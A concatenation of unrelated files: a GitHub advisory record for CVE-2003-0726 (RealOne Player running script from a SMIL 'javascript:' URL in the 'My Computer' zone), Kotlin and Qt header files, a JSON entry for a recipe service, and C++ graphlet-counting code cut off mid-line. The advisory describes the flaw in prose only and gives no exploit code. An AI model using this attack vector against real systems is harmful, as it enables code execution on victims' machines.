{ "schema_version": "1.2.0", "id": "GHSA-5cf7-xj2f-mmwx", "modified": "2022-04-29T01:26:53Z", "published": "2022-04-29T01:26:53Z", "aliases": [ "CVE-2003-0726" ], "details": "RealOne player allows remote attackers to execute arbitrary script in the \"My Computer\" zone via a SMIL presentation with a URL that references a scripting protocol, which is executed in the security context of the previously loaded URL, as demonstrated using a \"javascript:\" URL in the area tag.", "severity": [ ], "affected": [ ], "references": [ { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2003-0726" }, { "type": "WEB", "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/13028" }, { "type": "WEB", "url": "http://securitytracker.com/id?1007532" }, { "type": "WEB", "url": "http://www.digitalpranksters.com/advisories/realnetworks/smilscriptprotocol.html" }, { "type": "WEB", "url": "http://www.securityfocus.com/archive/1/335293" }, { "type": "WEB", "url": "http://www.securityfocus.com/bid/8453" }, { "type": "WEB", "url": "http://www.service.real.com/help/faq/security/securityupdate_august2003.html" } ], "database_specific": { "cwe_ids": [ ], "severity": "MODERATE", "github_reviewed": false } }
617
45,293
/* * Copyright 2010-2021 JetBrains s.r.o. Use of this source code is governed by the Apache 2.0 license * that can be found in the LICENSE file. */ #ifndef RUNTIME_MM_INITIALIZATION_SCHEME_H #define RUNTIME_MM_INITIALIZATION_SCHEME_H #include "Memory.h" namespace kotlin { namespace mm { class ThreadData; OBJ_GETTER(InitThreadLocalSingleton, ThreadData* threadData, ObjHeader** location, const TypeInfo* typeInfo, void (*ctor)(ObjHeader*)); OBJ_GETTER(InitSingleton, ThreadData* threadData, ObjHeader** location, const TypeInfo* typeInfo, void (*ctor)(ObjHeader*)); } // namespace mm } // namespace kotlin #endif // RUNTIME_MM_INITIALIZATION_SCHEME_H
229
310
<gh_stars>100-1000 { "name": "Pepperplate", "description": "An online recipe and menu service.", "url": "http://www.pepperplate.com/" }
52
1,738
<gh_stars>1000+ /* * All or portions of this file Copyright (c) Amazon.com, Inc. or its affiliates or * its licensors. * * For complete copyright and license terms please see the LICENSE at the root of this * distribution (the "License"). All use of this software is governed by the License, * or, if provided, by the license below or the license accompanying this file. Do not * remove or modify any license notices. This file is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * */ #pragma once class SlicerView : public QGraphicsView { public: SlicerView(QGraphicsScene* scene, QWidget* parent = nullptr); protected: // This is intentionally empty. void scrollContentsBy(int dx, int dy) override {}; };
226
532
#include <cstdio> #include <cstdlib> #include <cstring> #include <cassert> #include <ctime> #include <iostream> #include <fstream> #include <set> #include <unordered_map> #include <algorithm> #include <Python.h> using namespace std; typedef long long int64; typedef pair<int,int> PII; typedef struct { int first, second, third; } TIII; struct PAIR { int a, b; PAIR(int a0, int b0) { a=min(a0,b0); b=max(a0,b0); } }; bool operator<(const PAIR &x, const PAIR &y) { if (x.a==y.a) return x.b<y.b; else return x.a<y.a; } bool operator==(const PAIR &x, const PAIR &y) { return x.a==y.a && x.b==y.b; } struct hash_PAIR { size_t operator()(const PAIR &x) const { return (x.a<<8) ^ (x.b<<0); } }; struct TRIPLE { int a, b, c; TRIPLE(int a0, int b0, int c0) { a=a0; b=b0; c=c0; if (a>b) swap(a,b); if (b>c) swap(b,c); if (a>b) swap(a,b); } }; bool operator<(const TRIPLE &x, const TRIPLE &y) { if (x.a==y.a) { if (x.b==y.b) return x.c<y.c; else return x.b<y.b; } else return x.a<y.a; } bool operator==(const TRIPLE &x, const TRIPLE &y) { return x.a==y.a && x.b==y.b && x.c==y.c; } struct hash_TRIPLE { size_t operator()(const TRIPLE &x) const { return (x.a<<16) ^ (x.b<<8) ^ (x.c<<0); } }; unordered_map<PAIR, int, hash_PAIR> common2; unordered_map<TRIPLE, int, hash_TRIPLE> common3; unordered_map<PAIR, int, hash_PAIR>::iterator common2_it; unordered_map<TRIPLE, int, hash_TRIPLE>::iterator common3_it; #define common3_get(x) (((common3_it=common3.find(x))!=common3.end())?(common3_it->second):0) #define common2_get(x) (((common2_it=common2.find(x))!=common2.end())?(common2_it->second):0) int n,m; // n = number of nodes, m = number of edges int *deg; // degrees of individual nodes PAIR *edges; // list of edges int **adj; // adj[x] - adjacency list of node x PII **inc; // inc[x] - incidence list of node x: (y, edge id) bool adjacent_list(int x, int y) { return binary_search(adj[x],adj[x]+deg[x],y); } int *adj_matrix; // compressed adjacency matrix const int adj_chunk = 8*sizeof(int); bool adjacent_matrix(int x, int y) { return adj_matrix[(x*n+y)/adj_chunk]&(1<<((x*n+y)%adj_chunk)); } bool (*adjacent)(int,int); int getEdgeId(int x, int y) { return inc[x][lower_bound(adj[x],adj[x]+deg[x],y)-adj[x]].second; } int64 **orbit; // orbit[x][o] - how many times does node x participate in orbit o int64 **eorbit; // eorbit[x][o] - how many times does node x participate in edge orbit o /** count graphlets on max 4 nodes */ void count4() { clock_t startTime, endTime; startTime = clock(); clock_t startTime_all, endTime_all; startTime_all = startTime; int frac,frac_prev; // precompute triangles that span over edges printf("stage 1 - precomputing common nodes\n"); int *tri = (int*)calloc(m,sizeof(int)); frac_prev=-1; for (int i=0;i<m;i++) { frac = 100LL*i/m; if (frac!=frac_prev) { printf("%d%%\r",frac); frac_prev=frac; } int x=edges[i].a, y=edges[i].b; for (int xi=0,yi=0; xi<deg[x] && yi<deg[y]; ) { if (adj[x][xi]==adj[y][yi]) { tri[i]++; xi++; yi++; } else if (adj[x][xi]<adj[y][yi]) { xi++; } else { yi++; } } } endTime = clock(); printf("%.2f\n", (double)(endTime-startTime)/CLOCKS_PER_SEC); startTime = endTime; // count full graphlets printf("stage 2 - counting full graphlets\n"); int64 *C4 = (int64*)calloc(n,sizeof(int64)); int *neigh = (int*)malloc(n*sizeof(int)), nn; frac_prev=-1; for (int x=0;x<n;x++) { frac = 100LL*x/n; if (frac!=frac_prev) { printf("%d%%\r",frac); frac_prev=frac; } for (int nx=0;nx<deg[x];nx++) { int y=adj[x][nx]; if (y >= x) break; nn=0; for (int ny=0;ny<deg[y];ny++) { int z=adj[y][ny]; if (z >= y) break; if (adjacent(x,z)==0) continue; neigh[nn++]=z; } for (int i=0;i<nn;i++) { int z = neigh[i]; for (int j=i+1;j<nn;j++) { int zz = neigh[j]; if (adjacent(z,zz)) { C4[x]++; C4[y]++; C4[z]++; C4[zz]++; } } } } } endTime = clock(); printf("%.2f\n", (double)(endTime-startTime)/CLOCKS_PER_SEC); startTime = endTime; // set up a system of equations relating orbits for every node printf("stage 3 - building systems of equations\n"); int *common = (int*)calloc(n,sizeof(int)); int *common_list = (int*)malloc(n*sizeof(int)), nc=0; frac_prev=-1; for (int x=0;x<n;x++) { frac = 100LL*x/n; if (frac!=frac_prev) { printf("%d%%\r",frac); frac_prev=frac; } int64 f_12_14=0, f_10_13=0; int64 f_13_14=0, f_11_13=0; int64 f_7_11=0, f_5_8=0; int64 f_6_9=0, f_9_12=0, f_4_8=0, f_8_12=0; int64 f_14=C4[x]; for (int i=0;i<nc;i++) common[common_list[i]]=0; nc=0; orbit[x][0]=deg[x]; // x - middle node for (int nx1=0;nx1<deg[x];nx1++) { int y=inc[x][nx1].first, ey=inc[x][nx1].second; for (int ny=0;ny<deg[y];ny++) { int z=inc[y][ny].first, ez=inc[y][ny].second; if (adjacent(x,z)) { // triangle if (z<y) { f_12_14 += tri[ez]-1; f_10_13 += (deg[y]-1-tri[ez])+(deg[z]-1-tri[ez]); } } else { if (common[z]==0) common_list[nc++]=z; common[z]++; } } for (int nx2=nx1+1;nx2<deg[x];nx2++) { int z=inc[x][nx2].first, ez=inc[x][nx2].second; if (adjacent(y,z)) { // triangle orbit[x][3]++; f_13_14 += (tri[ey]-1)+(tri[ez]-1); f_11_13 += (deg[x]-1-tri[ey])+(deg[x]-1-tri[ez]); } else { // path orbit[x][2]++; f_7_11 += (deg[x]-1-tri[ey]-1)+(deg[x]-1-tri[ez]-1); f_5_8 += (deg[y]-1-tri[ey])+(deg[z]-1-tri[ez]); } } } // x - side node for (int nx1=0;nx1<deg[x];nx1++) { int y=inc[x][nx1].first, ey=inc[x][nx1].second; for (int ny=0;ny<deg[y];ny++) { int z=inc[y][ny].first, ez=inc[y][ny].second; if (x==z) continue; if (!adjacent(x,z)) { // path orbit[x][1]++; f_6_9 += (deg[y]-1-tri[ey]-1); f_9_12 += tri[ez]; f_4_8 += (deg[z]-1-tri[ez]); f_8_12 += (common[z]-1); } } } // solve system of equations orbit[x][14]=(f_14); orbit[x][13]=(f_13_14-6*f_14)/2; orbit[x][12]=(f_12_14-3*f_14); orbit[x][11]=(f_11_13-f_13_14+6*f_14)/2; orbit[x][10]=(f_10_13-f_13_14+6*f_14); orbit[x][9]=(f_9_12-2*f_12_14+6*f_14)/2; orbit[x][8]=(f_8_12-2*f_12_14+6*f_14)/2; orbit[x][7]=(f_13_14+f_7_11-f_11_13-6*f_14)/6; orbit[x][6]=(2*f_12_14+f_6_9-f_9_12-6*f_14)/2; orbit[x][5]=(2*f_12_14+f_5_8-f_8_12-6*f_14); orbit[x][4]=(2*f_12_14+f_4_8-f_8_12-6*f_14); } endTime = clock(); printf("%.2f\n", (double)(endTime-startTime)/CLOCKS_PER_SEC); endTime_all = endTime; printf("total: %.2f\n", (double)(endTime_all-startTime_all)/CLOCKS_PER_SEC); } /** count edge orbits of graphlets on max 4 nodes */ void ecount4() { clock_t startTime, endTime; startTime = clock(); clock_t startTime_all, endTime_all; startTime_all = startTime; int frac,frac_prev; // precompute triangles that span over edges printf("stage 1 - precomputing common nodes\n"); int *tri = (int*)calloc(m,sizeof(int)); frac_prev=-1; for (int i=0;i<m;i++) { frac = 100LL*i/m; if (frac!=frac_prev) { printf("%d%%\r",frac); frac_prev=frac; } int x=edges[i].a, y=edges[i].b; for (int xi=0,yi=0; xi<deg[x] && yi<deg[y]; ) { if (adj[x][xi]==adj[y][yi]) { tri[i]++; xi++; yi++; } else if (adj[x][xi]<adj[y][yi]) { xi++; } else { yi++; } } } endTime = clock(); printf("%.2f\n", (double)(endTime-startTime)/CLOCKS_PER_SEC); startTime = endTime; // count full graphlets printf("stage 2 - counting full graphlets\n"); int64 *C4 = (int64*)calloc(m,sizeof(int64)); int *neighx = (int*)malloc(n*sizeof(int)); // lookup table - edges to neighbors of x memset(neighx,-1,n*sizeof(int)); int *neigh = (int*)malloc(n*sizeof(int)), nn; // lookup table - common neighbors of x and y PII *neigh_edges = (PII*)malloc(n*sizeof(PII)); // list of common neighbors of x and y frac_prev=-1; for (int x=0;x<n;x++) { frac = 100LL*x/n; if (frac!=frac_prev) { printf("%d%%\r",frac); frac_prev=frac; } for (int nx=0;nx<deg[x];nx++) { int y=inc[x][nx].first, xy=inc[x][nx].second; neighx[y]=xy; } for (int nx=0;nx<deg[x];nx++) { int y=inc[x][nx].first, xy=inc[x][nx].second; if (y >= x) break; nn=0; for (int ny=0;ny<deg[y];ny++) { int z=inc[y][ny].first, yz=inc[y][ny].second; if (z >= y) break; if (neighx[z]==-1) continue; int xz=neighx[z]; neigh[nn]=z; neigh_edges[nn]={xz, yz}; nn++; } for (int i=0;i<nn;i++) { int z = neigh[i], xz = neigh_edges[i].first, yz = neigh_edges[i].second; for (int j=i+1;j<nn;j++) { int w = neigh[j], xw = neigh_edges[j].first, yw = neigh_edges[j].second; if (adjacent(z,w)) { C4[xy]++; C4[xz]++; C4[yz]++; C4[xw]++; C4[yw]++; // another iteration to count this last(smallest) edge instead of calling getEdgeId //int zw=getEdgeId(z,w); C4[zw]++; } } } } for (int nx=0;nx<deg[x];nx++) { int y=inc[x][nx].first, xy=inc[x][nx].second; neighx[y]=-1; } } endTime = clock(); printf("%.2f\n", (double)(endTime-startTime)/CLOCKS_PER_SEC); startTime = endTime; // count full graphlets for the smallest edge for (int x=0;x<n;x++) { frac = 100LL*x/n; if (frac!=frac_prev) { printf("%d%%\r",frac); frac_prev=frac; } for (int nx=deg[x]-1;nx>=0;nx--) { int y=inc[x][nx].first, xy=inc[x][nx].second; if (y <= x) break; nn=0; for (int ny=deg[y]-1;ny>=0;ny--) { int z=adj[y][ny]; if (z <= y) break; if (adjacent(x,z)==0) continue; neigh[nn++]=z; } for (int i=0;i<nn;i++) { int z = neigh[i]; for (int j=i+1;j<nn;j++) { int zz = neigh[j]; if (adjacent(z,zz)) { C4[xy]++; } } } } } endTime = clock(); printf("%.2f\n", (double)(endTime-startTime)/CLOCKS_PER_SEC); startTime = endTime; // set up a system of equations relating orbits for every node printf("stage 3 - building systems of equations\n"); int *common = (int*)calloc(n,sizeof(int)); int *common_list = (int*)malloc(n*sizeof(int)), nc=0; frac_prev=-1; for (int x=0;x<n;x++) { frac = 100LL*x/n; if (frac!=frac_prev) { printf("%d%%\r",frac); frac_prev=frac; } // common nodes of x and some other node for (int i=0;i<nc;i++) common[common_list[i]]=0; nc=0; for (int nx=0;nx<deg[x];nx++) { int y=adj[x][nx]; for (int ny=0;ny<deg[y];ny++) { int z=adj[y][ny]; if (z==x) continue; if (common[z]==0) common_list[nc++]=z; common[z]++; } } for (int nx=0;nx<deg[x];nx++) { int y=inc[x][nx].first, xy=inc[x][nx].second; int e=xy; for (int n1=0;n1<deg[x];n1++) { int z=inc[x][n1].first, xz=inc[x][n1].second; if (z==y) continue; if (adjacent(y,z)) { // triangle if (x<y) { eorbit[e][1]++; eorbit[e][10] += tri[xy]-1; eorbit[e][7] += deg[z]-2; } eorbit[e][9] += tri[xz]-1; eorbit[e][8] += deg[x]-2; } } for (int n1=0;n1<deg[y];n1++) { int z=inc[y][n1].first, yz=inc[y][n1].second; if (z==x) continue; if (!adjacent(x,z)) { // path x-y-z eorbit[e][0]++; eorbit[e][6] += tri[yz]; eorbit[e][5] += common[z]-1; eorbit[e][4] += deg[y]-2; eorbit[e][3] += deg[x]-1; eorbit[e][2] += deg[z]-1; } } } } // solve system of equations for (int e=0;e<m;e++) { eorbit[e][11]=C4[e]; eorbit[e][10]=(eorbit[e][10]-2*eorbit[e][11])/2; eorbit[e][9]=(eorbit[e][9]-4*eorbit[e][11]); eorbit[e][8]=(eorbit[e][8]-eorbit[e][9]-4*eorbit[e][10]-4*eorbit[e][11]); eorbit[e][7]=(eorbit[e][7]-eorbit[e][9]-2*eorbit[e][11]); eorbit[e][6]=(eorbit[e][6]-eorbit[e][9])/2; eorbit[e][5]=(eorbit[e][5]-eorbit[e][9])/2; eorbit[e][4]=(eorbit[e][4]-2*eorbit[e][6]-eorbit[e][8]-eorbit[e][9])/2; eorbit[e][3]=(eorbit[e][3]-2*eorbit[e][5]-eorbit[e][8]-eorbit[e][9])/2; eorbit[e][2]=(eorbit[e][2]-2*eorbit[e][5]-2*eorbit[e][6]-eorbit[e][9]); } endTime = clock(); printf("%.2f\n", (double)(endTime-startTime)/CLOCKS_PER_SEC); endTime_all = endTime; printf("total: %.2f\n", (double)(endTime_all-startTime_all)/CLOCKS_PER_SEC); } /** count graphlets on max 5 nodes */ void count5() { clock_t startTime, endTime; startTime = clock(); clock_t startTime_all, endTime_all; startTime_all = startTime; int frac,frac_prev; // precompute common nodes printf("stage 1 - precomputing common nodes\n"); frac_prev=-1; for (int x=0;x<n;x++) { frac = 100LL*x/n; if (frac!=frac_prev) { printf("%d%%\r",frac); frac_prev=frac; } for (int n1=0;n1<deg[x];n1++) { int a=adj[x][n1]; for (int n2=n1+1;n2<deg[x];n2++) { int b=adj[x][n2]; PAIR ab=PAIR(a,b); common2[ab]++; for (int n3=n2+1;n3<deg[x];n3++) { int c=adj[x][n3]; int st = adjacent(a,b)+adjacent(a,c)+adjacent(b,c); if (st<2) continue; TRIPLE abc=TRIPLE(a,b,c); common3[abc]++; } } } } // precompute triangles that span over edges int *tri = (int*)calloc(m,sizeof(int)); for (int i=0;i<m;i++) { int x=edges[i].a, y=edges[i].b; for (int xi=0,yi=0; xi<deg[x] && yi<deg[y]; ) { if (adj[x][xi]==adj[y][yi]) { tri[i]++; xi++; yi++; } else if (adj[x][xi]<adj[y][yi]) { xi++; } else { yi++; } } } endTime = clock(); printf("%.2f sec\n", (double)(endTime-startTime)/CLOCKS_PER_SEC); startTime = endTime; // count full graphlets printf("stage 2 - counting full graphlets\n"); int64 *C5 = (int64*)calloc(n,sizeof(int64)); int *neigh = (int*)malloc(n*sizeof(int)), nn; int *neigh2 = (int*)malloc(n*sizeof(int)), nn2; frac_prev=-1; for (int x=0;x<n;x++) { frac = 100LL*x/n; if (frac!=frac_prev) { printf("%d%%\r",frac); frac_prev=frac; } for (int nx=0;nx<deg[x];nx++) { int y=adj[x][nx]; if (y >= x) break; nn=0; for (int ny=0;ny<deg[y];ny++) { int z=adj[y][ny]; if (z >= y) break; if (adjacent(x,z)) { neigh[nn++]=z; } } for (int i=0;i<nn;i++) { int z = neigh[i]; nn2=0; for (int j=i+1;j<nn;j++) { int zz = neigh[j]; if (adjacent(z,zz)) { neigh2[nn2++]=zz; } } for (int i2=0;i2<nn2;i2++) { int zz = neigh2[i2]; for (int j2=i2+1;j2<nn2;j2++) { int zzz = neigh2[j2]; if (adjacent(zz,zzz)) { C5[x]++; C5[y]++; C5[z]++; C5[zz]++; C5[zzz]++; } } } } } } endTime = clock(); printf("%.2f sec\n", (double)(endTime-startTime)/CLOCKS_PER_SEC); startTime = endTime; int *common_x = (int*)calloc(n,sizeof(int)); int *common_x_list = (int*)malloc(n*sizeof(int)), ncx=0; int *common_a = (int*)calloc(n,sizeof(int)); int *common_a_list = (int*)malloc(n*sizeof(int)), nca=0; // set up a system of equations relating orbit counts printf("stage 3 - building systems of equations\n"); frac_prev=-1; for (int x=0;x<n;x++) { frac = 100LL*x/n; if (frac!=frac_prev) { printf("%d%%\r",frac); frac_prev=frac; } for (int i=0;i<ncx;i++) common_x[common_x_list[i]]=0; ncx=0; // smaller graphlets orbit[x][0] = deg[x]; for (int nx1=0;nx1<deg[x];nx1++) { int a=adj[x][nx1]; for (int nx2=nx1+1;nx2<deg[x];nx2++) { int b=adj[x][nx2]; if (adjacent(a,b)) orbit[x][3]++; else orbit[x][2]++; } for (int na=0;na<deg[a];na++) { int b=adj[a][na]; if (b!=x && !adjacent(x,b)) { orbit[x][1]++; if (common_x[b]==0) common_x_list[ncx++]=b; common_x[b]++; } } } int64 f_71=0, f_70=0, f_67=0, f_66=0, f_58=0, f_57=0; // 14 int64 f_69=0, f_68=0, f_64=0, f_61=0, f_60=0, f_55=0, f_48=0, f_42=0, f_41=0; // 13 int64 f_65=0, f_63=0, f_59=0, f_54=0, f_47=0, f_46=0, f_40=0; // 12 int64 f_62=0, f_53=0, f_51=0, f_50=0, f_49=0, f_38=0, f_37=0, f_36=0; // 8 int64 f_44=0, f_33=0, f_30=0, f_26=0; // 11 int64 f_52=0, f_43=0, f_32=0, f_29=0, f_25=0; // 10 int64 f_56=0, f_45=0, f_39=0, f_31=0, f_28=0, f_24=0; // 9 int64 f_35=0, f_34=0, f_27=0, f_18=0, f_16=0, f_15=0; // 4 int64 f_17=0; // 5 int64 f_22=0, f_20=0, f_19=0; // 6 int64 f_23=0, f_21=0; // 7 for (int nx1=0;nx1<deg[x];nx1++) { int a=inc[x][nx1].first, xa=inc[x][nx1].second; for (int i=0;i<nca;i++) common_a[common_a_list[i]]=0; nca=0; for (int na=0;na<deg[a];na++) { int b=adj[a][na]; for (int nb=0;nb<deg[b];nb++) { int c=adj[b][nb]; if (c==a || adjacent(a,c)) continue; if (common_a[c]==0) common_a_list[nca++]=c; common_a[c]++; } } // x = orbit-14 (tetrahedron) for (int nx2=nx1+1;nx2<deg[x];nx2++) { int b=inc[x][nx2].first, xb=inc[x][nx2].second; if (!adjacent(a,b)) continue; for (int nx3=nx2+1;nx3<deg[x];nx3++) { int c=inc[x][nx3].first, xc=inc[x][nx3].second; if (!adjacent(a,c) || !adjacent(b,c)) continue; orbit[x][14]++; f_70 += common3_get(TRIPLE(a,b,c))-1; f_71 += (tri[xa]>2 && tri[xb]>2)?(common3_get(TRIPLE(x,a,b))-1):0; f_71 += (tri[xa]>2 && tri[xc]>2)?(common3_get(TRIPLE(x,a,c))-1):0; f_71 += (tri[xb]>2 && tri[xc]>2)?(common3_get(TRIPLE(x,b,c))-1):0; f_67 += tri[xa]-2+tri[xb]-2+tri[xc]-2; f_66 += common2_get(PAIR(a,b))-2; f_66 += common2_get(PAIR(a,c))-2; f_66 += common2_get(PAIR(b,c))-2; f_58 += deg[x]-3; f_57 += deg[a]-3+deg[b]-3+deg[c]-3; } } // x = orbit-13 (diamond) for (int nx2=0;nx2<deg[x];nx2++) { int b=inc[x][nx2].first, xb=inc[x][nx2].second; if (!adjacent(a,b)) continue; for (int nx3=nx2+1;nx3<deg[x];nx3++) { int c=inc[x][nx3].first, xc=inc[x][nx3].second; if (!adjacent(a,c) || adjacent(b,c)) continue; orbit[x][13]++; f_69 += (tri[xb]>1 && tri[xc]>1)?(common3_get(TRIPLE(x,b,c))-1):0; f_68 += common3_get(TRIPLE(a,b,c))-1; f_64 += common2_get(PAIR(b,c))-2; f_61 += tri[xb]-1+tri[xc]-1; f_60 += common2_get(PAIR(a,b))-1; f_60 += common2_get(PAIR(a,c))-1; f_55 += tri[xa]-2; f_48 += deg[b]-2+deg[c]-2; f_42 += deg[x]-3; f_41 += deg[a]-3; } } // x = orbit-12 (diamond) for (int nx2=nx1+1;nx2<deg[x];nx2++) { int b=inc[x][nx2].first, xb=inc[x][nx2].second; if (!adjacent(a,b)) continue; for (int na=0;na<deg[a];na++) { int c=inc[a][na].first, ac=inc[a][na].second; if (c==x || adjacent(x,c) || !adjacent(b,c)) continue; orbit[x][12]++; f_65 += (tri[ac]>1)?common3_get(TRIPLE(a,b,c)):0; f_63 += common_x[c]-2; f_59 += tri[ac]-1+common2_get(PAIR(b,c))-1; f_54 += common2_get(PAIR(a,b))-2; f_47 += deg[x]-2; f_46 += deg[c]-2; f_40 += deg[a]-3+deg[b]-3; } } // x = orbit-8 (cycle) for (int nx2=nx1+1;nx2<deg[x];nx2++) { int b=inc[x][nx2].first, xb=inc[x][nx2].second; if (adjacent(a,b)) continue; for (int na=0;na<deg[a];na++) { int c=inc[a][na].first, ac=inc[a][na].second; if (c==x || adjacent(x,c) || !adjacent(b,c)) continue; orbit[x][8]++; f_62 += (tri[ac]>0)?common3_get(TRIPLE(a,b,c)):0; f_53 += tri[xa]+tri[xb]; f_51 += tri[ac]+common2_get(PAIR(c,b)); f_50 += common_x[c]-2; f_49 += common_a[b]-2; f_38 += deg[x]-2; f_37 += deg[a]-2+deg[b]-2; f_36 += deg[c]-2; } } // x = orbit-11 (paw) for (int nx2=nx1+1;nx2<deg[x];nx2++) { int b=inc[x][nx2].first, xb=inc[x][nx2].second; if (!adjacent(a,b)) continue; for (int nx3=0;nx3<deg[x];nx3++) { int c=inc[x][nx3].first, xc=inc[x][nx3].second; if (c==a || c==b || adjacent(a,c) || adjacent(b,c)) continue; orbit[x][11]++; f_44 += tri[xc]; f_33 += deg[x]-3; f_30 += deg[c]-1; f_26 += deg[a]-2+deg[b]-2; } } // x = orbit-10 (paw) for (int nx2=0;nx2<deg[x];nx2++) { int b=inc[x][nx2].first, xb=inc[x][nx2].second; if (!adjacent(a,b)) continue; for (int nb=0;nb<deg[b];nb++) { int c=inc[b][nb].first, bc=inc[b][nb].second; if (c==x || c==a || adjacent(a,c) || adjacent(x,c)) continue; orbit[x][10]++; f_52 += common_a[c]-1; f_43 += tri[bc]; f_32 += deg[b]-3; f_29 += deg[c]-1; f_25 += deg[a]-2; } } // x = orbit-9 (paw) for (int na1=0;na1<deg[a];na1++) { int b=inc[a][na1].first, ab=inc[a][na1].second; if (b==x || adjacent(x,b)) continue; for (int na2=na1+1;na2<deg[a];na2++) { int c=inc[a][na2].first, ac=inc[a][na2].second; if (c==x || !adjacent(b,c) || adjacent(x,c)) continue; orbit[x][9]++; f_56 += (tri[ab]>1 && tri[ac]>1)?common3_get(TRIPLE(a,b,c)):0; f_45 += common2_get(PAIR(b,c))-1; f_39 += tri[ab]-1+tri[ac]-1; f_31 += deg[a]-3; f_28 += deg[x]-1; f_24 += deg[b]-2+deg[c]-2; } } // x = orbit-4 (path) for (int na=0;na<deg[a];na++) { int b=inc[a][na].first, ab=inc[a][na].second; if (b==x || adjacent(x,b)) continue; for (int nb=0;nb<deg[b];nb++) { int c=inc[b][nb].first, bc=inc[b][nb].second; if (c==a || adjacent(a,c) || adjacent(x,c)) continue; orbit[x][4]++; f_35 += common_a[c]-1; f_34 += common_x[c]; f_27 += tri[bc]; f_18 += deg[b]-2; f_16 += deg[x]-1; f_15 += deg[c]-1; } } // x = orbit-5 (path) for (int nx2=0;nx2<deg[x];nx2++) { int b=inc[x][nx2].first, xb=inc[x][nx2].second; if (b==a || adjacent(a,b)) continue; for (int nb=0;nb<deg[b];nb++) { int c=inc[b][nb].first, bc=inc[b][nb].second; if (c==x || adjacent(a,c) || adjacent(x,c)) continue; orbit[x][5]++; f_17 += deg[a]-1; } } // x = orbit-6 (claw) for (int na1=0;na1<deg[a];na1++) { int b=inc[a][na1].first, ab=inc[a][na1].second; if (b==x || adjacent(x,b)) continue; for (int na2=na1+1;na2<deg[a];na2++) { int c=inc[a][na2].first, ac=inc[a][na2].second; if (c==x || adjacent(x,c) || adjacent(b,c)) continue; orbit[x][6]++; f_22 += deg[a]-3; f_20 += deg[x]-1; f_19 += deg[b]-1+deg[c]-1; } } // x = orbit-7 (claw) for (int nx2=nx1+1;nx2<deg[x];nx2++) { int b=inc[x][nx2].first, xb=inc[x][nx2].second; if (adjacent(a,b)) continue; for (int nx3=nx2+1;nx3<deg[x];nx3++) { int c=inc[x][nx3].first, xc=inc[x][nx3].second; if (adjacent(a,c) || adjacent(b,c)) continue; orbit[x][7]++; f_23 += deg[x]-3; f_21 += deg[a]-1+deg[b]-1+deg[c]-1; } } } // solve equations orbit[x][72] = C5[x]; orbit[x][71] = (f_71-12*orbit[x][72])/2; orbit[x][70] = (f_70-4*orbit[x][72]); orbit[x][69] = (f_69-2*orbit[x][71])/4; orbit[x][68] = (f_68-2*orbit[x][71]); orbit[x][67] = (f_67-12*orbit[x][72]-4*orbit[x][71]); orbit[x][66] = (f_66-12*orbit[x][72]-2*orbit[x][71]-3*orbit[x][70]); orbit[x][65] = (f_65-3*orbit[x][70])/2; orbit[x][64] = (f_64-2*orbit[x][71]-4*orbit[x][69]-1*orbit[x][68]); orbit[x][63] = (f_63-3*orbit[x][70]-2*orbit[x][68]); orbit[x][62] = (f_62-1*orbit[x][68])/2; orbit[x][61] = (f_61-4*orbit[x][71]-8*orbit[x][69]-2*orbit[x][67])/2; orbit[x][60] = (f_60-4*orbit[x][71]-2*orbit[x][68]-2*orbit[x][67]); orbit[x][59] = (f_59-6*orbit[x][70]-2*orbit[x][68]-4*orbit[x][65]); orbit[x][58] = (f_58-4*orbit[x][72]-2*orbit[x][71]-1*orbit[x][67]); orbit[x][57] = (f_57-12*orbit[x][72]-4*orbit[x][71]-3*orbit[x][70]-1*orbit[x][67]-2*orbit[x][66]); orbit[x][56] = (f_56-2*orbit[x][65])/3; orbit[x][55] = (f_55-2*orbit[x][71]-2*orbit[x][67])/3; orbit[x][54] = (f_54-3*orbit[x][70]-1*orbit[x][66]-2*orbit[x][65])/2; orbit[x][53] = (f_53-2*orbit[x][68]-2*orbit[x][64]-2*orbit[x][63]); orbit[x][52] = (f_52-2*orbit[x][66]-2*orbit[x][64]-1*orbit[x][59])/2; orbit[x][51] = (f_51-2*orbit[x][68]-2*orbit[x][63]-4*orbit[x][62]); orbit[x][50] = (f_50-1*orbit[x][68]-2*orbit[x][63])/3; orbit[x][49] = (f_49-1*orbit[x][68]-1*orbit[x][64]-2*orbit[x][62])/2; orbit[x][48] = (f_48-4*orbit[x][71]-8*orbit[x][69]-2*orbit[x][68]-2*orbit[x][67]-2*orbit[x][64]-2*orbit[x][61]-1*orbit[x][60]); orbit[x][47] = (f_47-3*orbit[x][70]-2*orbit[x][68]-1*orbit[x][66]-1*orbit[x][63]-1*orbit[x][60]); orbit[x][46] = (f_46-3*orbit[x][70]-2*orbit[x][68]-2*orbit[x][65]-1*orbit[x][63]-1*orbit[x][59]); orbit[x][45] = (f_45-2*orbit[x][65]-2*orbit[x][62]-3*orbit[x][56]); orbit[x][44] = (f_44-1*orbit[x][67]-2*orbit[x][61])/4; orbit[x][43] = (f_43-2*orbit[x][66]-1*orbit[x][60]-1*orbit[x][59])/2; orbit[x][42] = (f_42-2*orbit[x][71]-4*orbit[x][69]-2*orbit[x][67]-2*orbit[x][61]-3*orbit[x][55]); orbit[x][41] = (f_41-2*orbit[x][71]-1*orbit[x][68]-2*orbit[x][67]-1*orbit[x][60]-3*orbit[x][55]); orbit[x][40] = (f_40-6*orbit[x][70]-2*orbit[x][68]-2*orbit[x][66]-4*orbit[x][65]-1*orbit[x][60]-1*orbit[x][59]-4*orbit[x][54]); orbit[x][39] = (f_39-4*orbit[x][65]-1*orbit[x][59]-6*orbit[x][56])/2; orbit[x][38] = (f_38-1*orbit[x][68]-1*orbit[x][64]-2*orbit[x][63]-1*orbit[x][53]-3*orbit[x][50]); orbit[x][37] = (f_37-2*orbit[x][68]-2*orbit[x][64]-2*orbit[x][63]-4*orbit[x][62]-1*orbit[x][53]-1*orbit[x][51]-4*orbit[x][49]); orbit[x][36] = (f_36-1*orbit[x][68]-2*orbit[x][63]-2*orbit[x][62]-1*orbit[x][51]-3*orbit[x][50]); orbit[x][35] = (f_35-1*orbit[x][59]-2*orbit[x][52]-2*orbit[x][45])/2; orbit[x][34] = (f_34-1*orbit[x][59]-2*orbit[x][52]-1*orbit[x][51])/2; orbit[x][33] = (f_33-1*orbit[x][67]-2*orbit[x][61]-3*orbit[x][58]-4*orbit[x][44]-2*orbit[x][42])/2; orbit[x][32] = 